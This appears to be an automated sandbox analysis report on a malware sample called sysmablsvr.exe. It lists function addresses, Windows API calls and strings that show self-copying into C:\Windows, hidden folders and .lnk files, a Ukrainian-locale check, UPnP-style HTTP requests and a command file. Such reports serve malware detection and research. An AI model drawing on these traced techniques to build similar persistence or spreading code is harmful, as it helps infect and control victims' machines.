Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: cda5f312f6eda810f0f95d257092257d7ce247fca3496cef4d7c6d61fe650e3b
Instruction ID: b933cb730c7ceaad0b52d00299a3dfb9d1991716126677b818ce35410280706b
Opcode Fuzzy Hash: cda5f312f6eda810f0f95d257092257d7ce247fca3496cef4d7c6d61fe650e3b
Instruction Fuzzy Hash: 7901197490834DEFCB00CFA8C884B9E7BB4BB09314F1081A9E815A7381C3759699CB55

Function 0040D440 Relevance: 1.5, APIs: 1, Instructions: 25synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040B790: EnterCriticalSection.KERNEL32(00417F40,?,?,0040D449), ref: 0040B7A0
Part of subcall function 0040B790: LeaveCriticalSection.KERNEL32(00417F40,?,?,0040D449), ref: 0040B7CC

WaitForSingleObject.KERNEL32(00000608,00001388), ref: 0040D46C

Part of subcall function 0040D060: InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040D06C

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterExchangeInterlockedLeaveObjectSingleWait
String ID:
API String ID: 3309573332-0
Opcode ID: b712a9e22ef945fa05c7c249d3f1ce022d4de63074206965558eacae03614f8f
Instruction ID: a2076b206fb369904fcfb2d1b6828b0d7e28f4f1bfe29f0599cec3c384bc1ad4
Opcode Fuzzy Hash: b712a9e22ef945fa05c7c249d3f1ce022d4de63074206965558eacae03614f8f
Instruction Fuzzy Hash: F4E09270E0020CA6D714A7E19C06B6E726A9750305F24847EF501772C1DA79A94487AD

Function 00407250 Relevance: 1.5, APIs: 1, Instructions: 23comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407270

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: c09f913f08406f093c7ac86b5101c5a128e05d7496c9f4ec9220068c62795e96
Instruction ID: d63025b72d2c6ebaad53fa266f334e56fbfbf26be99018a77b0022b5cf711e38
Opcode Fuzzy Hash: c09f913f08406f093c7ac86b5101c5a128e05d7496c9f4ec9220068c62795e96
Instruction Fuzzy Hash: 5FE0C97490120CBFDB40DF90C889B9EBBB8AB08315F1081A9E90467280D7B96A948BA5

Function 00406260 Relevance: 1.3, APIs: 1, Instructions: 32stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062C0: GetDriveTypeW.KERNEL32(0040629F), ref: 004062CD

lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 004062B3

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: DriveTypelstrcpy
String ID:
API String ID: 3664088370-0
Opcode ID: aa744ef504167f27be6d486533275d748dec175d232d96b41b3e61fed09f16a0
Instruction ID: a3f39d1a22dcf836f44b0fbcddd46cfc88cbb50e51ff9e9dfde0dd7881e74902
Opcode Fuzzy Hash: aa744ef504167f27be6d486533275d748dec175d232d96b41b3e61fed09f16a0
Instruction Fuzzy Hash: DCF04975D00208EBCB00EFA4D44579EB7B4EF04304F00C0ADE815AB240E639AB58CB49

Non-executed Functions

Function 00406650 Relevance: 79.0, APIs: 34, Strings: 11, Instructions: 300fileCOMMON

Download Yara Rule

APIs

_chkstk.NTDLL(?,00406CC0,?,?,?), ref: 00406658
wsprintfW.USER32 ref: 0040668F
wsprintfW.USER32 ref: 004066AF
wsprintfW.USER32 ref: 004066CF
wsprintfW.USER32 ref: 004066EF
wsprintfW.USER32 ref: 00406708
PathFileExistsW.SHLWAPI(?), ref: 00406718
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406751
DeleteFileW.KERNEL32(?), ref: 0040675E
PathFileExistsW.SHLWAPI(?), ref: 0040676B
SetFileAttributesW.KERNEL32(?,00000080), ref: 00406785
DeleteFileW.KERNEL32(?), ref: 00406792
PathFileExistsW.SHLWAPI(?), ref: 0040679F
CreateDirectoryW.KERNEL32(?,00000000), ref: 004067B2
SetFileAttributesW.KERNEL32(?,00000002), ref: 004067C5
PathFileExistsW.SHLWAPI(?), ref: 004067D2
CopyFileW.KERNEL32(C:\Windows\sysmablsvr.exe,?,00000000), ref: 004067EA

Strings

%s\%s\VolDrvConfig.exe, xrefs: 004066C3
shell32.dll, xrefs: 00406836
shell32.dll, xrefs: 0040681E
%s\%s, xrefs: 004066E3
%s\*, xrefs: 004066FC
%s.lnk, xrefs: 00406683
%s\%s, xrefs: 00406AA4
%s\%s, xrefs: 00406A31
C:\Windows\sysmablsvr.exe, xrefs: 004067E5
%s\%s\%s, xrefs: 00406ACB
%s\%s, xrefs: 004066A3

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$Attributes$Delete$CopyCreateDirectory_chkstk
String ID: %s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolDrvConfig.exe$%s\*$C:\Windows\sysmablsvr.exe$shell32.dll$shell32.dll
API String ID: 2120662298-1321675690
Opcode ID: db5eccb7a8f15aa8004616f5cf87b59d8a7d315b42364bc1ec8f026dd92e313a
Instruction ID: c06ff6b6fb177b83c5a42a6bb152b383d4bd735e421ae8a12f9cadfa06fd6cc4
Opcode Fuzzy Hash: db5eccb7a8f15aa8004616f5cf87b59d8a7d315b42364bc1ec8f026dd92e313a
Instruction Fuzzy Hash: A8D164B5900258ABCB20DF50DC54FEA77B8BB48304F04C5EAF20AA6191D7B99BD4CF59

Function 00406510 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85filestringCOMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00406AFE,00000000), ref: 0040651F
wsprintfW.USER32 ref: 00406535
FindFirstFileW.KERNEL32(?,?), ref: 0040654C
lstrcmpW.KERNEL32(?,00410FC8), ref: 00406571
lstrcmpW.KERNEL32(?,00410FCC), ref: 00406587
wsprintfW.USER32 ref: 004065AA
wsprintfW.USER32 ref: 004065CA
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406606
FindNextFileW.KERNEL32(000000FF,?), ref: 0040661A
FindClose.KERNEL32(000000FF), ref: 0040662F
RemoveDirectoryW.KERNEL32(?), ref: 00406639

Strings

%s\*, xrefs: 00406529
%s\%s, xrefs: 004065BE
%s\%s, xrefs: 0040659E

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*
API String ID: 92872011-445461498
Opcode ID: aaf4b3f36bfa67770f4778d47adab31ac8eaf14f3968b868ec32d0f8b28c6d5c
Instruction ID: 29a521c4e1aad10613397e171bad1bd73fe874f8ff332ca0de340875b50b0acb
Opcode Fuzzy Hash: aaf4b3f36bfa67770f4778d47adab31ac8eaf14f3968b868ec32d0f8b28c6d5c
Instruction Fuzzy Hash: 56315BB5500218AFCB10DB60EC85FDA7778AB48701F40C5A9F609A3185DBB5DAD9CF68

Function 0040ECC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22stringCOMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,00000007,?,0000000A,?,?,004075E8), ref: 0040ECD3
strcmp.NTDLL ref: 0040ECE2

Strings

UKR, xrefs: 0040ECD9

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: 54f5cdf661095b57fe809351cef4458ab0cf24a1f510da97d06a6553b22e766c
Instruction ID: 77034b4ee665358b2559d06917653f26683f777e377fe2659d333d0cc479d80c
Opcode Fuzzy Hash: 54f5cdf661095b57fe809351cef4458ab0cf24a1f510da97d06a6553b22e766c
Instruction Fuzzy Hash: 19E02B32E4830876FA10BAA5AC03FEA375C9711701F000176FF05F21C1F6BA922A979B

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138networksynchronizationCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

PCOI, xrefs: 0040198A
ilci, xrefs: 004019E1

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: 097e4152df7d5292a546001d94d6f32f43d0574f1127213a4449a66b8bd7891b
Instruction ID: 052bb906b72d623838b809fd2f084fe798b134d15a2779f83897d066d1444b79
Opcode Fuzzy Hash: 097e4152df7d5292a546001d94d6f32f43d0574f1127213a4449a66b8bd7891b
Instruction Fuzzy Hash: 3441F471600300ABCB209F74DC8CB9B77A9AF44720F14463DF895A72E1DB78E881CB99

Function 0040EA80 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138networkfileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040EAA8
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040EAF8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040EB0B
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040EB44
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040EB7A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040EBA5
HttpSendRequestA.WININET(00000000,004120C8,000000FF,00009E34), ref: 0040EBCF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040EC0E
memcpy.NTDLL(00000000,?,00000000), ref: 0040EC60
InternetCloseHandle.WININET(00000000), ref: 0040EC91
InternetCloseHandle.WININET(00000000), ref: 0040EC9E
InternetCloseHandle.WININET(00000000), ref: 0040ECAB

Strings

POST, xrefs: 0040EB6E
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040EB06
<, xrefs: 0040EAB0

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: 8a56ad483b9ace5c80fef8412a232ec04f9eaa1d9d9d993c01397f9ec31f5831
Instruction ID: c905a0693736bdbf34c7f8e0e7db626079e62ceb693e66bb4324beed71749724
Opcode Fuzzy Hash: 8a56ad483b9ace5c80fef8412a232ec04f9eaa1d9d9d993c01397f9ec31f5831
Instruction Fuzzy Hash: 33514CB5901228ABDB26CF54CC94BDDB7BCAB48705F0481E9B60DA6280C7B96FC4CF54

Function 00401600 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 96networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

PCOI, xrefs: 0040160D
ilci, xrefs: 00401630

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci
API String ID: 2403999931-3762367603
Opcode ID: 7df5625406d7924a9ef55977e1bd28806cadd22570a056913c37e6fa8f7b7583
Instruction ID: 5b8540bf1bb466d15bf787bf2847de779fcfe5b3cc035b7f1a74ac98c73710f1
Opcode Fuzzy Hash: 7df5625406d7924a9ef55977e1bd28806cadd22570a056913c37e6fa8f7b7583
Instruction Fuzzy Hash: D731A875900705ABC710EF70EC48B97B7B8BF08710F048A2AF559A3691C779F894CB98

Function 0040E150 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130networkfileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040E178
InternetCrackUrlA.WININET(0040DC29,00000000,10000000,0000003C), ref: 0040E1C8
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E1D8
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E211
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E247
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E26F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E2B8
memcpy.NTDLL(00000000,?,00000000), ref: 0040E30A
InternetCloseHandle.WININET(00000000), ref: 0040E347
InternetCloseHandle.WININET(00000000), ref: 0040E354
InternetCloseHandle.WININET(00000000), ref: 0040E361

Strings

<, xrefs: 0040E180
GET, xrefs: 0040E23B

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: 67af59116773a7797ed2b96ff4475bc1c7b496ee21b5589c00d2aeb3a4039631
Instruction ID: 0e0ad4ad31c216dc2eff2ccec99c89ab6a28dd79d12b38366d41975b782ec3ac
Opcode Fuzzy Hash: 67af59116773a7797ed2b96ff4475bc1c7b496ee21b5589c00d2aeb3a4039631
Instruction Fuzzy Hash: 6E511BB5901228ABDB36CB50CC55BE9B7BCAB44705F0444E9A60DAA2C0D7B96BC4CF54

Function 00406000 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 176fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(004174D8,00000000,0040BE82,006A0266,?,0040BE9E,00000000,0040D17C,?), ref: 0040600F
memcpy.NTDLL(?,00000000,00000100), ref: 004060A1
CreateFileW.KERNEL32(C:\Users\user\tbtcmds.dat,40000000,00000000,00000000,00000002,00000002,00000000), ref: 004061C5
WriteFile.KERNEL32(000000FF,?,?,?,00000000), ref: 00406227
FlushFileBuffers.KERNEL32(000000FF), ref: 00406233
CloseHandle.KERNEL32(000000FF), ref: 0040623D
LeaveCriticalSection.KERNEL32(004174D8,?,?,?,?,?,?,0040BE9E,00000000,0040D17C,?), ref: 00406248

Strings

C:\Users\user\tbtcmds.dat, xrefs: 004061C0

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: File$CriticalSection$BuffersCloseCreateEnterFlushHandleLeaveWritememcpy
String ID: C:\Users\user\tbtcmds.dat
API String ID: 1457358591-1042172597
Opcode ID: fc3fbd14c8c4e913f040ec335e7850d4c7a20847d82a3d6e72c5a2ff44c735bb
Instruction ID: d2a8f2c597d4f808d2c136561af7b6c80c21d69a530c7dbbc8373d1e9f004416
Opcode Fuzzy Hash: fc3fbd14c8c4e913f040ec335e7850d4c7a20847d82a3d6e72c5a2ff44c735bb
Instruction Fuzzy Hash: 6071E0B4E042099BCB04CF98D981FEFBBB1BB48304F14816DE505BB382D779A951CBA5

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040DA30: NtQuerySystemTime.NTDLL(0040B945), ref: 0040DA3A
Part of subcall function 0040DA30: RtlTimeToSecondsSince1980.NTDLL(0040B945,?), ref: 0040DA48

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: ae0f208c7e5ebe03a9eed9973f4c7fb273d4e64238f42e24874dbd14c375a4e9
Instruction ID: 8c1e587a25cfc232de2ab0883eb36e20e47ed0b1207a5ae34e006e610dd4584e
Opcode Fuzzy Hash: ae0f208c7e5ebe03a9eed9973f4c7fb273d4e64238f42e24874dbd14c375a4e9
Instruction Fuzzy Hash: F2519F75608B02ABC704DF39D488B9BFBE4BF88314F44872EF89983360D775A5458B96

Function 0040E670 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E72C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E77B
SysFreeString.OLEAUT32(00000000), ref: 0040E78F
SysFreeString.OLEAUT32(00000000), ref: 0040E7A7

Strings

service, xrefs: 0040E723
serviceType, xrefs: 0040E736

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 2bb872dba71c4b18fb63231bfcc4c9cffbe7778cfe88db31ae78f26eb240510d
Instruction ID: 498a00270a4ac3f3e732f182914c0c13a71c1caacf2de73c52121c1bdff13e9d
Opcode Fuzzy Hash: 2bb872dba71c4b18fb63231bfcc4c9cffbe7778cfe88db31ae78f26eb240510d
Instruction Fuzzy Hash: D5412E74A0020AEFDB04DF95C884FAFB7B9BF48304F108969E515A7390D778AE85CB95

Function 0040E7D0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E88C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E8DB
SysFreeString.OLEAUT32(00000000), ref: 0040E8EF
SysFreeString.OLEAUT32(00000000), ref: 0040E907

Strings

device, xrefs: 0040E883
deviceType, xrefs: 0040E896

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: fe57ae6d098728694eea3c4084fa761a4bbb21d2a922279ce8156623f7b4a2cf
Instruction ID: f37cc5fa491f806f20af1ba12fe7b13e6bb3fdd54c67fa744f8c06207b50935d
Opcode Fuzzy Hash: fe57ae6d098728694eea3c4084fa761a4bbb21d2a922279ce8156623f7b4a2cf
Instruction Fuzzy Hash: D1412DB5A0020ADFCB14DF99C884BAFB7B9BF48304F108569E515B7390D778AE85CB94

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000001.00000002.4234031558.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.4234016394.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234049042.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234065144.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.4234082356.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sysmablsvr.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 5fdc0146492539df05ccd50cd035e90a966d871b42942f97a700882ce693defd
Instruction ID: 6ff3262b9ae864165baf17eb68ae52fc582ecffe48c2a7281556c95dbf3b24cf
Opcode Fuzzy Hash: 5fdc0146492539df05ccd50cd035e90a966d871b42942f97a700882ce693defd
